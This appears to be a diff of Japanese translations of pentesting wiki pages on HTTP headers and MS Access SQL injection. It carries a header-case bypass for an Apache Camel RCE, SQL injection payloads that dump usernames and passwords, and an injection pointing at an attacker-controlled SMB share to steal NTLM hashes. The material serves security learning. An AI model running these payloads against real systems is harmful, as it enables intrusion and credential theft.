- これは、他の方法ではエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立つかもしれません。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。
|
||||
- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立ちます。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。
|
||||
- **`If-Range`**: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます。
|
||||
- **`Content-Range`**: 完全なボディメッセージのどこに部分メッセージが属するかを示します。
|
||||
|
||||
@ -96,7 +96,7 @@
|
||||
- **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みに応じて区別できるようにします。
|
||||
- **`Content-Location`**: 返されたデータの代替位置を示します。
|
||||
|
||||
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、何らかの**方法**でこの**情報**を**取得**できると、これは**興味深い**かもしれません。\
|
||||
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護**されていて、何らかの**方法**でこの**情報**を**取得**できる場合、これは**興味深い**かもしれません。\
|
||||
例えば、HEADリクエストでの**`Range`**と**`Etag`**の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます。
|
||||
|
||||
- ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含むレスポンスは、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。
|
||||
@ -108,7 +108,7 @@
|
||||
|
||||
## コントロール
|
||||
|
||||
- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`と指定されている場合、リソースがこれらのメソッドをサポートしていることを示します。
|
||||
- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`のように指定され、リソースがこれらのメソッドをサポートしていることを示します。
|
||||
- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます。
|
||||
|
||||
## ダウンロード
|
||||
@ -117,7 +117,7 @@
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
これは「filename.jpg」という名前のファイルがダウンロードされて保存されることを意図していることを意味します。
|
||||
これは「filename.jpg」という名前のファイルがダウンロードされ、保存されることを意図していることを意味します。
|
||||
|
||||
## セキュリティヘッダー
|
||||
|
||||
@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg"
|
||||
|
||||
### **信頼されたタイプ**
|
||||
|
||||
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
|
||||
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特定のオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。ブラウザがサーバーによって指定されたMIMEタイプを尊重することを保証します。
|
||||
このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。サーバーによって指定されたMIMEタイプをブラウザが尊重することを保証します。
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
@ -179,25 +179,25 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## ヘッダー名の大文字小文字バイパス
|
||||
## ヘッダー名のケースバイパス
|
||||
|
||||
HTTP/1.1はヘッダーフィールド名を**大文字小文字を区別しない**と定義しています(RFC 9110 §5.1)。それにもかかわらず、受信した*リテラル*ヘッダー名を最初に正規化せずに比較するカスタムミドルウェア、セキュリティフィルター、またはビジネスロジックを見つけることは非常に一般的です(例:`header.equals("CamelExecCommandExecutable")`)。 これらのチェックが**大文字小文字を区別して**行われる場合、攻撃者は異なる大文字小文字で同じヘッダーを送信することでそれを回避することができます。
|
||||
HTTP/1.1はヘッダーフィールド名を**ケースインセンシティブ**として定義しています(RFC 9110 §5.1)。それにもかかわらず、受信した*リテラル*ヘッダー名を最初に正規化せずに比較するカスタムミドルウェア、セキュリティフィルター、またはビジネスロジックを見つけることは非常に一般的です(例:`header.equals("CamelExecCommandExecutable")`)。これらのチェックが**ケースセンシティブ**で行われる場合、攻撃者は異なる大文字小文字で同じヘッダーを送信することでそれをバイパスすることができます。
|
||||
|
||||
この誤りが見られる典型的な状況:
|
||||
|
||||
* リクエストが敏感なコンポーネントに到達する前に「危険な」内部ヘッダーをブロックしようとするカスタムの許可/拒否リスト。
|
||||
* リクエストがセンシティブなコンポーネントに到達する前に「危険な」内部ヘッダーをブロックしようとするカスタムの許可/拒否リスト。
|
||||
* リバースプロキシの擬似ヘッダー(例:`X-Forwarded-For`のサニタイズ)の社内実装。
|
||||
* 管理/デバッグエンドポイントを公開し、認証やコマンド選択のためにヘッダー名に依存するフレームワーク。
|
||||
|
||||
### バイパスの悪用
|
||||
|
||||
1. サーバー側でフィルタリングまたは検証されるヘッダーを特定します(例えば、ソースコード、ドキュメント、またはエラーメッセージを読むことによって)。
|
||||
2. **異なる大文字小文字の同じヘッダー**を送信します(ミックスケースまたは大文字)。 HTTPスタックは通常、ユーザーコードが実行された後にのみヘッダーを正規化するため、脆弱なチェックをスキップできます。
|
||||
3. 下流のコンポーネントがヘッダーを大文字小文字を区別しない方法で扱う場合(ほとんどがそうです)、攻撃者が制御する値を受け入れます。
|
||||
2. **異なるケース**(ミックスケースまたは大文字)で**同じヘッダー**を送信します。HTTPスタックは通常、ユーザーコードが実行された後にのみヘッダーを正規化するため、脆弱なチェックをスキップできます。
|
||||
3. 下流のコンポーネントがヘッダーをケースインセンシティブに扱う場合(ほとんどがそうです)、攻撃者が制御する値を受け入れます。
|
||||
|
||||
### 例:Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
脆弱なバージョンのApache Camelでは、*Command Center*ルートがヘッダー`CamelExecCommandExecutable`と`CamelExecCommandArgs`を削除することで信頼できないリクエストをブロックしようとします。 比較は`equals()`で行われたため、正確な小文字の名前のみが削除されました。
|
||||
脆弱なバージョンのApache Camelでは、*Command Center*ルートが`CamelExecCommandExecutable`および`CamelExecCommandArgs`ヘッダーを削除することで信頼できないリクエストをブロックしようとします。比較は`equals()`で行われたため、正確な小文字の名前のみが削除されました。
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
|
@ -10,14 +10,14 @@
|
||||
|
||||
### 文字列の連結
|
||||
|
||||
文字列の連結は `& (%26)` と `+ (%2b)` 文字を使用して可能です。
|
||||
文字列の連結は `& (%26)` および `+ (%2b)` 文字を使用して可能です。
|
||||
```sql
|
||||
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
||||
1' UNION SELECT 'web' %26 'app' FROM table%00
|
||||
```
|
||||
### コメント
|
||||
|
||||
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することが可能なようです:
|
||||
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
@ -39,24 +39,24 @@ Just like TOP you can use **`LAST`** which will get the **rows from the end**.
|
||||
|
||||
## UNION Queries/Sub queries
|
||||
|
||||
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、**サブクエリや追加クエリでは`FROM`を指定する必要があります**。\
|
||||
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
|
||||
したがって、**有効なテーブル名**を知っておく必要があります。
|
||||
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、**サブクエリや追加のクエリでは`FROM`を指定する必要があります**。\
|
||||
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧で囲まれた`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
|
||||
そのため、有効な**テーブル名**を知っておく必要があります。
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
### チェイニングイコール + サブストリング
|
||||
### Chaining equals + Substring
|
||||
|
||||
> [!WARNING]
|
||||
> これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。
|
||||
|
||||
**MS Access** は **`'1'=2='3'='asd'=false`** のような **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用できます。
|
||||
|
||||
MS Access データベースに SQLi があり、ある **カラム名が username** であることを知っている(または推測した)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
|
||||
MS Access データベースに SQLi があり、1 つの **カラム名が username** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用して部分文字列を取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
テーブルの**名前**と**カラム**を知っている場合、`Mid`、`LAST`、および`TOP`を組み合わせて、ブールSQLiを介して**すべての情報を漏洩**させることができます:
|
||||
テーブルの**名前**と**カラム**を知っている場合、`Mid`、`LAST`、および`TOP`の組み合わせを使用して、ブールSQLiを介して**すべての情報を漏洩**させることができます:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -79,7 +79,7 @@ _Feel free to check this in the online playground._
|
||||
|
||||
### カラム名のブルートフォース
|
||||
|
||||
現在のカラム名を**ブルートフォース**するには、次のようにチェイニングイコールのトリックを使用できます:
|
||||
現在のカラム名を**ブルートフォース**することができます。チェイニングイコールトリックを使用して:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -95,15 +95,15 @@ _Feel free to check this in the online playground._
|
||||
```
|
||||
### データのダンプ
|
||||
|
||||
私たちはすでに[**チェイニングイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルや他のテーブルからデータをダンプする方法**について議論しました。しかし、他にも方法があります:
|
||||
私たちはすでに[**チェイニングイコール技術**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在および他のテーブルからデータをダンプする方法**について議論しました。しかし、他にも方法があります:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
|
||||
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10オペレーターを利用することで、最初の10件の結果を選択することが可能です。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MIDオペレーターを使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
|
||||
|
||||
### 時間ベース(ブラインド)トリック
|
||||
|
||||
Jet/ACE SQL自体はネイティブの `SLEEP()` または `WAITFOR` 関数を**提供していない**ため、従来の時間ベースのブラインドインジェクションは制限されています。しかし、エンジンに**遅いか応答しないネットワークリソースにアクセスさせる**ことで、測定可能な遅延を導入することは可能です。エンジンは結果を返す前にファイルを開こうとするため、HTTP応答時間は攻撃者が制御するホストへの往復遅延を反映します。
|
||||
Jet/ACE SQL自体はネイティブの `SLEEP()` または `WAITFOR` 関数を**提供しない**ため、従来の時間ベースのブラインドインジェクションは制限されています。しかし、エンジンに**遅いか応答しないネットワークリソースにアクセスさせる**ことで、測定可能な遅延を導入することは可能です。エンジンは結果を返す前にファイルを開こうとするため、HTTPレスポンスタイムは攻撃者が制御するホストへの往復遅延を反映します。
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
@ -154,21 +154,21 @@ MS Accessは、**ウェブディレクトリのフルパスを含むエラーメ
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Accessは**データベース形式エラーメッセージ**を表示します。
|
||||
ファイルを列挙する別の方法は、**データベース.table項目を指定することです**。**指定されたファイルが存在する場合**、MS Accessは**データベース形式エラーメッセージ**を表示します。
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
### .mdbファイル名の推測
|
||||
|
||||
**データベースファイル名 (.mdb)** は、次のクエリで推測できます:
|
||||
**データベースファイル名(.mdb)**は、次のクエリで推測できます:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
ここで、**name[i] は .mdb ファイル名**であり、**realTable はデータベース内の存在するテーブル**です。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することは可能です。
|
||||
ここで、**name[i]は.mdbファイル名**であり、**realTableはデータベース内の存在するテーブル**です。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な.mdbファイル名を区別することは可能です。
|
||||
|
||||
### リモートデータベースアクセスとNTLM資格情報の盗難 (2023)
|
||||
### リモートデータベースアクセスとNTLM資格情報の盗難(2023)
|
||||
|
||||
Jet 4.0以降、すべてのクエリは、`IN '<path>'` 句を介して*異なる* `.mdb/.accdb` ファイルにあるテーブルを参照できます:
|
||||
Jet 4.0以降、すべてのクエリは、`IN '<path>'`句を介して*異なる* `.mdb/.accdb`ファイルにあるテーブルを参照できます:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
@ -176,7 +176,7 @@ SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
|
||||
1. リモートデータベースを開くためにSMB / HTTPで認証を試みる;
|
||||
2. ウェブサーバーの**NTLM資格情報**を漏洩させる(強制認証);
|
||||
3. リモートファイルを解析する - 形式が不正または悪意のあるデータベースは、複数回パッチが適用されたJet/ACEメモリ破損バグを引き起こす可能性があります(例:CVE-2021-28455)。
|
||||
3. リモートファイルを解析する - 形式が不正または悪意のあるデータベースは、何度もパッチが当てられたJet/ACEメモリ破損バグを引き起こす可能性があります(例:CVE-2021-28455)。
|
||||
|
||||
実用的なインジェクションの例:
|
||||
```sql
|
||||
@ -187,9 +187,9 @@ IN '\\attacker\share\poc.mdb'-- -
|
||||
影響:
|
||||
|
||||
* Net-NTLMv2 ハッシュのアウトオブバンド流出(リレーまたはオフラインクラッキングに使用可能)。
|
||||
* 新しい Jet/ACE パーサーバグが悪用されると、リモートコード実行の可能性。
|
||||
* 新しい Jet/ACE パーサーバグが悪用されると、リモートコード実行の可能性があります。
|
||||
|
||||
緩和策(レガシー Classic ASP アプリにも推奨):
|
||||
緩和策(レガシー Classic ASP アプリでも推奨):
|
||||
|
||||
* `HKLM\Software\Microsoft\Jet\4.0\Engines`(および同等の ACE パス)にレジストリ値 `AllowQueryRemoteTables = 0` を追加します。これにより、Jet/ACE は `\\` で始まるリモートパスを拒否します。
|
||||
* ネットワーク境界での SMB/WebDAV のアウトバウンドをブロックします。
|
||||
|
Loading…
x
Reference in New Issue
Block a user